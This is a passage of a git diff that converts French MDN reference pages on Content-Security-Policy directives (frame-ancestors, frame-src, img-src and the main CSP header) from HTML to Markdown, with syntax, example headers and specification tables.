href="/fr/docs/Web/API/FileSystem">URI <code>filesystem:</code></a> d'être utilisées comme source de contenu.</li> - </ul> - </dd> - <dt><code>'self'</code></dt> - <dd>Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs <code>blob</code> et <code>filesystem</code> des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.</dd> - <dt><code>'none'</code></dt> - <dd>Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.</dd> -</dl> - -<h2 id="Exemples">Exemples</h2> - -<pre class="brush: bash">Content-Security-Policy: frame-ancestors 'none'; - -Content-Security-Policy: frame-ancestors 'self' https://www.example.org;</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-frame-ancestors", "frame-ancestors")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-frame-ancestors", "frame-ancestors")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +## Syntaxe + +Une ou plusieurs sources peuvent être autorisées pour cette directive : + + Content-Security-Policy: frame-ancestors <source>; + Content-Security-Policy: frame-ancestors <source> <source>; + +### Sources + +La \<source> peut être une des suivantes : + +> **Note :** The `frame-ancestors` directive’s syntax is similar to a source list of other directives (e.g. {{CSP("default-src")}}), but doesn't allow `'unsafe-eval'` or `'unsafe-inline'` for example. It will also not fall back to a `default-src` setting. Only the sources listed below are allowed: + +- \<host-source> + + - : Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un [protocole](/fr/docs/URIs_and_URLs) et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque `'*'`), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides. Vous ne devez pas mettre de guillemets simples. + Exemples : + + - `http://*.example.com`: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole `http:`. + - `mail.example.com:443`: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com. + - `https://store.example.com`: correspondra à toutes les tentatives d'accès à store.example.com via le protocole `https:`. + + > **Attention :** Si aucun schéma d'URL n'est spécifié comme `host-source` et que l'{{HTMLElement("iframe")}} est chargée via une URL `https:`, la page chargeant l'iframe doit aussi être chargée en `https:`, selon la spécification du W3C sur [les correspondances de valeurs de sources](https://w3c.github.io/webappsec-csp/2/#match-source-expression). + +- \<scheme-source> + + - : Un protocole tel que `http:` or `https:`. Les deux-points sont nécessaires et vous ne devez pas mettre de guillemets. Vous pouvez aussi spécifier des schémas de données bien que ce ne soit pas recommandé. + + - `data:` Autorise [les URI `data:`](/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) à être utilisées comme source de contenu. _Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie et certainement pas pour des scripts._ + - `mediastream:` permet aux [URI `mediastream:`](/fr/docs/Web/API/MediaStream_API) d'être utilisées comme source de contenu. + - `blob:` permet aux [URI `blob:`](/fr/docs/Web/API/Blob) d'être utilisées comme source de contenu. + - `filesystem:` Allows [URI `filesystem:`](/fr/docs/Web/API/FileSystem) d'être utilisées comme source de contenu. + +- `'self'` + - : Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs `blob` et `filesystem` des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data. +- `'none'` + - : Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets. + +## Exemples + +```bash +Content-Security-Policy: frame-ancestors 'none'; + +Content-Security-Policy: frame-ancestors 'self' https://www.example.org; +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-frame-ancestors", "frame-ancestors")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-frame-ancestors", "frame-ancestors")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.frame-ancestors")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.frame-ancestors")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTTPHeader("X-Frame-Options")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("X-Frame-Options")}} diff --git a/files/fr/web/http/headers/content-security-policy/frame-src/index.md b/files/fr/web/http/headers/content-security-policy/frame-src/index.md index e5d7566d81..f92daaa19d 100644 --- a/files/fr/web/http/headers/content-security-policy/frame-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/frame-src/index.md @@ -14,82 +14,70 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>frame-src</strong></code> spécifie les sources valides pour des contextes de navigation imbriqués chargés d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`frame-src`** spécifie les sources valides pour des contextes de navigation imbriqués chargés d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">Valeur par défaut</th> - <td>Si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("child-src")}}, qui a pour valeur par défaut celle de la directive {{CSP("default-src")}}</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">Valeur par défaut</th> + <td> + Si cette directive est absente, l'agent utilisateur consultera la + directive {{CSP("child-src")}}, qui a pour valeur par défaut + celle de la directive {{CSP("default-src")}} + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: frame-src <source>; -Content-Security-Policy: frame-src <source> <source>; -</pre> + Content-Security-Policy: frame-src <source>; + Content-Security-Policy: frame-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: frame-src https://example.com/</pre> +```bash +Content-Security-Policy: frame-src https://example.com/ +``` -<p>Cet élément {{HTMLElement("iframe")}} est bloqué et ne se chargera pas :</p> +Cet élément {{HTMLElement("iframe")}} est bloqué et ne se chargera pas : -<pre class="brush: html"><iframe src="https://not-example.com/"></iframe></pre> +```html +<iframe src="https://not-example.com/"></iframe> +``` -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-frame-src", "frame-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Réappréciation de <code>frame-src</code>.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-frame-src", "frame-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Dépréciation de <code>frame-src</code>.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| -------------------------------------------------------------------------------- | ---------------------------- | ------------------------------ | +| {{specName("CSP 3.0", "#directive-frame-src", "frame-src")}} | {{Spec2('CSP 3.0')}} | Réappréciation de `frame-src`. | +| {{specName("CSP 1.1", "#directive-frame-src", "frame-src")}} | {{Spec2('CSP 1.1')}} | Dépréciation de `frame-src`. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.frame-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.frame-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("frame")}} and {{HTMLElement("iframe")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("frame")}} and {{HTMLElement("iframe")}} diff --git a/files/fr/web/http/headers/content-security-policy/img-src/index.md b/files/fr/web/http/headers/content-security-policy/img-src/index.md index cbaf0a5798..a45faa33e4 100644 --- a/files/fr/web/http/headers/content-security-policy/img-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/img-src/index.md @@ -14,82 +14,69 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>img-src</strong></code> sépcifie les sources valides d'images et de favicons.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} **`img-src`** sépcifie les sources valides d'images et de favicons. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: img-src <source>; -Content-Security-Policy: img-src <source> <source>; -</pre> + Content-Security-Policy: img-src <source>; + Content-Security-Policy: img-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: img-src https://example.com/</pre> +```bash +Content-Security-Policy: img-src https://example.com/ +``` -<p>Cet élément {{HTMLElement("img")}} est bloqué et ne se chargera pas :</p> +Cet élément {{HTMLElement("img")}} est bloqué et ne se chargera pas : -<pre class="brush: html"><img src="https://not-example.com/foo.jpg" alt="example picture"></pre> +```html +<img src="https://not-example.com/foo.jpg" alt="example picture"> +``` -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-img-src", "img-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-img-src", "img-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-img-src", "img-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-img-src", "img-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.img-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.img-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("img")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("img")}} diff --git a/files/fr/web/http/headers/content-security-policy/index.md b/files/fr/web/http/headers/content-security-policy/index.md index 2cd4912372..eda9f0ff19 100644 --- a/files/fr/web/http/headers/content-security-policy/index.md +++ b/files/fr/web/http/headers/content-security-policy/index.md @@ -9,246 +9,187 @@ tags: - en-tête translation_of: Web/HTTP/Headers/Content-Security-Policy --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de réponse HTTP <strong><code>Content-Security-Policy</code></strong> permet aux administrateurs d'un site web de contrôler les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. Bien qu'il y ait quelques exceptions, ces règles impliquent la plupart du temps de définir les origines du serveur et les points d'accès pour les scripts. Cet en-tête aide à se protéger contre les attaques de <em>cross-site scripting</em> ({{Glossary("XSS")}}).</p> +L'en-tête de réponse HTTP **`Content-Security-Policy`** permet aux administrateurs d'un site web de contrôler les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. Bien qu'il y ait quelques exceptions, ces règles impliquent la plupart du temps de définir les origines du serveur et les points d'accès pour les scripts. Cet en-tête aide à se protéger contre les attaques de _cross-site scripting_ ({{Glossary("XSS")}}). -<p>Pour plus d'informations, voir cet article sur <a href="/fr/docs/Web/HTTP/CSP"><em>Content Security Policy</em> (CSP)</a>.</p> +Pour plus d'informations, voir cet article sur [_Content Security Policy_ (CSP)](/fr/docs/Web/HTTP/CSP). <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>En-tête de réponse</td> - </tr> - <tr> - <th scope="row">Nom d'en-tête interdit</th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>En-tête de réponse</td> + </tr> + <tr> + <th scope="row">Nom d'en-tête interdit</th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">Content-Security-Policy: <policy-directive>; <policy-directive> -</pre> - -<h2 id="Directives">Directives</h2> - -<h3 id="Directives_de_récupération_fetch">Directives de récupération (<em>fetch</em>)</h3> - -<p>Les directives de récupération (ou <em>fetch directives</em> en anglais) contrôlent les emplacements à partir desquels certains types de ressource peuvent être chargés.</p> - -<dl> - <dt>{{CSP("child-src")}}</dt> - <dd>Définit les sources valides pour les <a href="/fr/docs/Web/API/Web_Workers_API">web workers</a> et les éléments qui représentent des contextes de navigation imbriqués tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</dd> -</dl> - -<div class="warning"> - <p><strong>Attention :</strong>Plutôt que la directive <strong><code>child-src</code></strong>, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}.</p> -</div> - -<dl> - <dt>{{CSP("connect-src")}}</dt> - <dd>Restreint les URL qui peuvent être chargées via des scripts.</dd> - <dt>{{CSP("default-src")}}</dt> - <dd>Représente la valeur par défaut des directives de récupération qui ne sont pas définies explicitement.</dd> - <dt>{{CSP("font-src")}}</dt> - <dd>Définit les sources valides pour les polices de caractères chargées depuis {{cssxref("@font-face")}}.</dd> - <dt>{{CSP("frame-src")}}</dt> - <dd>Définit les sources valides pour les éléments qui représentent des contextes de navigation imbriqués, tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</dd> - <dt>{{CSP("img-src")}}</dt> - <dd>Définit les sources valides pour les images et les favicons.</dd> - <dt>{{CSP("manifest-src")}}</dt> - <dd>Définit les sources valides pour les fichiers de manifeste d'application.</dd> - <dt>{{CSP("media-src")}}</dt> - <dd>Définit les sources valides pour les ressources média des éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}.</dd> - <dt>{{CSP("object-src")}}</dt> - <dd>Définit les sources valides pour les ressources des éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.</dd> -</dl> - -<div class="note"> -<p><strong>Note :</strong> Les éléments contrôlés pa ar <code>object-src</code> sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité <code>sandbox</code> et <code>allow</code> pour <code><iframe></code>). De ce fait, il est <strong>recommandé</strong> de restreindre cette directive, c'est-à-dire la définir explicitement à <code>object-src 'none'</code> dans la mesure du possible.</p> -</div> - -<dl> - <dt>{{CSP("prefetch-src")}}</dt> - <dd>Définit .</dd> - <dt>{{CSP("script-src")}}</dt> - <dd>Définit les sources valides pour les fichiers JavaScript.</dd> - <dt>{{CSP("script-src-elem")}}{{experimental_inline}}</dt> - <dd>Définit les sources valides de code JavaScript chargé avec l'élément {{HTMLElement("script")}}.</dd> - <dt>{{CSP("script-src-attr")}}{{experimental_inline}}</dt> - <dd>Définit les sources valides de JavaScript pour les écouteurs d'évènements par les attributs <code>on<eventName></code>.</dd> - <dt>{{CSP("style-src")}}</dt> - <dd>Définit les sources valides pour les feuilles de styles.</dd> - <dt>{{CSP("style-src-elem")}}{{experimental_inline}}</dt> - <dd>Définit les sources valides pour les feuilles de styles définies avec l'élément {{HTMLElement("style")}} ou chargées avec l'élément {{HTMLElement("link")}} ayant l'attribut <code>rel="stylesheet"</code>.</dd> - <dt>{{CSP("style-src-attr")}}{{experimental_inline}}</dt> - <dd>Définit les sources valides pour les feuilles de styles embarquées appliquées à des éléments individuels du DOM par l'attribut <code>style</code>.</dd> - <dt>{{CSP("worker-src")}}</dt> - <dd>Définit les sources valides pour les scripts des {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.</dd> -</dl> +## Syntaxe + + Content-Security-Policy: <policy-directive>; <policy-directive> + +## Directives -<h3 id="Directives_de_document">Directives de document</h3> +### Directives de récupération (_fetch_) -<p>Les directives de document permettent de paramétrer les propriétés d'un document ou d'un environnement pour <a href="/fr/docs/Web/API/Web_Workers_API">un <em>web worker</em></a> auquel une règle de sécurité s'applique.</p> +Les directives de récupération (ou _fetch directives_ en anglais) contrôlent les emplacements à partir desquels certains types de ressource peuvent être chargés. -<dl> - <dt>{{CSP("base-uri")}}</dt> - <dd>Restreint les URL qui peuvent être utilisées au sein de l'élément {{HTMLElement("base")}} d'un document.</dd> - <dt>{{CSP("plugin-types")}}</dt> - <dd>Restreint le type de plugin qui peut être intégré dans un document en limitant le type de ressource qui peut être chargé.</dd> - <dt>{{CSP("sandbox")}}</dt> - <dd>Active un bac-à-sable (<em>sandbox</em>) pour la ressource visée. Cela fonctionne de façon analogue à l'attribut {{htmlattrxref("sandbox", "iframe")}} de {{HTMLElement("iframe")}}.</dd> -</dl> +- {{CSP("child-src")}} + - : Définit les sources valides pour les [web workers](/fr/docs/Web/API/Web_Workers_API) et les éléments qui représentent des contextes de navigation imbriqués tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. -<h3 id="Directives_de_navigation">Directives de navigation</h3> +> **Attention :**Plutôt que la directive **`child-src`**, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}. -<p>Les directives de navigation permettent par exemple de paramétrer les emplacements vers lesquels l'utilisateur peut naviguer ou envoyer un formulaire.</p> +- {{CSP("connect-src")}} + - : Restreint les URL qui peuvent être chargées via des scripts. +- {{CSP("default-src")}} + - : Représente la valeur par défaut des directives de récupération qui ne sont pas définies explicitement. +- {{CSP("font-src")}} + - : Définit les sources valides pour les polices de caractères chargées depuis {{cssxref("@font-face")}}. +- {{CSP("frame-src")}} + - : Définit les sources valides pour les éléments qui représentent des contextes de navigation imbriqués, tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. +- {{CSP("img-src")}} + - : Définit les sources valides pour les images et les favicons. +- {{CSP("manifest-src")}} + - : Définit les sources valides pour les fichiers de manifeste d'application. +- {{CSP("media-src")}} + - : Définit les sources valides pour les ressources média des éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. +- {{CSP("object-src")}} + - : Définit les sources valides pour les ressources des éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}. -<dl> - <dt>{{CSP("form-action")}}</dt> - <dd>Restreint les URL qui peuvent être utilisées comme cibles pour envoyer des formulaires depuis un contexte donné.</dd> - <dt>{{CSP("frame-ancestors")}}</dt> - <dd>Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.</dd> - <dt>{{CSP("navigate-to")}}{{experimental_inline}}</dt> - <dd>Restreint les URL vers lesquelles on peut naviguer depuis un document, quel que soit le moyen de navigation (un lien, un formulaire, <code>window.location</code>, <code>window.open</code>, etc.)</dd> -</dl> - -<h3 id="Directives_de_rapport">Directives de rapport</h3> - -<p>Les directives de rapport permettent de contrôler ce qui se passe lorsqu'une règle CSP est violée. Voir également l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}.</p> - -<dl> - <dt>{{CSP("report-uri")}}{{deprecated_inline}}</dt> - <dd>Indique à l'agent utilisateur de rapporter les tentatives d'enfreintes du CSP. Un rapport d'enfreinte est un ensemble de documents JSON envoyés via une requête HTTP <code>POST</code> à l'URI indiquée.</dd> -</dl> - -<div class="warning"> -<p><strong>Attention :</strong> Bien que la directive <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a> est prévue remplacer la directive <code><strong>report-uri</strong></code> maintenant dépréciée, <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a> n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>, vous pouvez spécifier les deux directives <code><strong>report-uri</strong></code> et <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>:</p> - -<pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname</pre> - -<p>Dans les navigateurs qui supportent <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>, la directive <code><strong>report-uri</strong></code> sera ignorée.</p> -</div> - -<dl> - <dt>{{CSP("report-to")}}{{experimental_inline}}</dt> - <dd>Déclenche un évènement <code>SecurityPolicyViolationEvent</code>.</dd> -</dl> - -<h3 id="Autres_directives">Autres directives</h3> - -<dl> - <dt>{{CSP("block-all-mixed-content")}}</dt> - <dd>Empêche le chargement de toute ressource via HTTP lorsque la page est chargée avec HTTPS.</dd> - <dt>{{CSP("referrer")}} {{deprecated_inline}}{{non-standard_inline}}</dt> - <dd>{{HTTPHeader("Referrer-Policy")}} doit être utilisé à la place. Était utilisée pour indiquer l'en-tête référent (sic) pour les liens sortants.</dd> - <dt>{{CSP("require-sri-for")}}{{experimental_inline}}</dt> - <dd>Oblige à utiliser le contrôle d'intégrité des sous-ressources ({{Glossary("SRI")}}) pour les scripts ou les styles de la page.</dd> - <dt>{{CSP("trusted-types")}}{{experimental_inline}}</dt> - <dd>Utilisée pour spécifier une liste de permissions de règles de <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a>. Les Trusted Types permettent à des applications de verrouiller les puits d'injection XSS dans le DOM pour n'accepter que des valeurs typées et non falsifiables plutôt que des chaines de caractères.</dd> - <dt>{{CSP("upgrade-insecure-requests")}}</dt> - <dd>Indique à l'agent utilisateur de considérer toutes les URL non-sécurisées d'un site (celles servies via HTTP) comme si elles avaient été remplacées par des URL sécurisées. Cette directive est destinée aux sites web qui ont de nombreuses URL historiques non-sécurisées et qui doivent être réécrites.</dd> -</dl> - -<h2 id="Utilisation_du_CSP_dans_les_web_workers">Utilisation du <em>CSP</em> dans les <em>web workers</em></h2> - -<p>En général, les <em>web workers</em> ne sont pas gérés par les règles de sécurité du contenu du document (ou du <em>worker</em> parent) qui les a créé. Pour indiquer une règle de sécurité du contenu pour le <em>worker</em>, on utilisera un en-tête de réponse <code>Content-Security-Policy</code> pour la requête qui a demandé le script du <em>worker</em>.</p> - -<p>Il y a une exception à cette règle lorsque l'origine du script d'un <em>worker</em> est un identifiant global unique (par exemple si l'URL utilise un schéma de donnée ou un blob). Dans ce cas, le <em>worker</em> hérite de la règle de sécurité du contenu depuis le document ou le <em>worker</em> qui l'a créé.</p> - -<h2 id="Gérer_plusieurs_politiques_de_sécurité">Gérer plusieurs politiques de sécurité</h2> - -<p>Le CSP permet d'indiquer plusieurs règles pour une même ressource avec l'en-tête <code>Content-Security-Policy</code>, l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et l'élément {{HTMLElement("meta")}}.</p> - -<p>L'en-tête <code>Content-Security-Policy</code> peut être utilisé plus d'une fois comme illustré ci-après. On notera la directive {{CSP("connect-src")}} utilisée ici. Bien que la deuxième règle autorise la connexion, la première contient <code>connect-src 'none'</code>. L'ajout de règles supplémentaires permet uniquement d'augmenter les protections. Les niveaux les plus stricts pour chaque règle sont alors utilisés. Dans l'exemple qui suit, cela signifie que la directive <code>connect-src 'none'</code> sera respectée.</p> - -<pre>Content-Security-Policy: default-src 'self' http://example.com; - connect-src 'none'; -Content-Security-Policy: connect-src http://example.com/; - script-src http://example.com/</pre> - -<h2 id="Exemples">Exemples</h2> - -<h3 id="Exemple_1">Exemple 1</h3> - -<p>Dans cet exemple, on désactive les scripts écrits à même le document (<em>inline</em>), les opérations <code>eval()</code> et les ressources (images, polices, scripts, etc.) peuvent uniquement être chargées via HTTPS :</p> - -<pre>// en-tête HTTP -Content-Security-Policy: default-src https: - -// version avec la balise HTML meta -<meta http-equiv="Content-Security-Policy" content="default-src https:"> -</pre> - -<h3 id="Exemple_2">Exemple 2</h3> - -<p>Cet exemple est plutôt adapté pour un site historique qui utilise de nombreux scripts écrits dans les documents mais pour lequel on veut s'assurer que les ressources sont chargées via HTTPS et pour lequel on veut désactiver les plugins :</p> - -<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre> - -<h3 id="Exemple_3">Exemple 3</h3> - -<p>On ne met pas en place la règle de sécurité mais on récolte les enfreintes qui se seraient produites pour cette règle :</p> - -<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> - -<p>Pour plus d'exemples, consulter <a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security#Examples_5">les recommandations de Mozilla pour la sécurité web</a>.</p> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">État</th> - <th scope="col">Commentaires</th> - </tr> - <tr> - <td>{{specName("CSP 3.0")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Ajout de <code>manifest-src</code>, <code>navigation-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. <code>frame-src</code> n'est plus déprécié. <code>report-uri</code> est déprécié au profit de <code>report-to</code>.</td> - </tr> - <tr> - <td>{{specName("Mixed Content")}}</td> - <td>{{Spec2("Mixed Content")}}</td> - <td>Ajout de <code>block-all-mixed-content</code>.</td> - </tr> - <tr> - <td>{{specName("Subresource Integrity")}}</td> - <td>{{Spec2("Subresource Integrity")}}</td> - <td>Ajout de 